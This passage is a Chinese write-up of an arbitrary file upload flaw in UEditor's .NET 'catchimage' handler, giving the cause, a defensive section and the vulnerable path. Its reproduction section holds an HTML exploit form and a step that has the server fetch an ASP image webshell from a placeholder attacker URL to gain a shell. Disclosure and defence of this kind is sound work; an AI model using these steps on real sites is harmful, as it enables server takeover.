坑,本来以为挺简单的,但是掉进了路径的大坑,整了半天才发现这个坑
0x00 漏洞背景
UEditor 是由百度「FEX前端研发团队」开发的所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点,开源基于MIT协议,允许自由使用和修改代码。
0x01漏洞详情
UEditor在抓取远程数据源的时,会进入"catchimage"分支:
在该方法使用的CrawlerHandler类中,并未对文件类型进行验证,从而导致了任意文件上传漏洞。
下图为1.5.0版本
0x01漏洞复现:
shell addr:
<form action="http://xxxxxxxxx/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"> <p>shell addr:<input type="text" name="source[]" /></p > <inputtype="submit" value="Submit" /> </form>
注意了,坑来了,
成功后的页面:
然后此时在合成一个asp的图片马,改在自己的服务器上:http://xxx.xxx.com/1.png?.aspx
然后页面会返回图片的上传地址,进而就可以getshell了
0x03 防御措施
修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码。
使用各类WAF软件,防止攻击者上传恶意文件。
检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。
路径:
/admin/ueditor/net/controller.ashx?action=catchimage
网友评论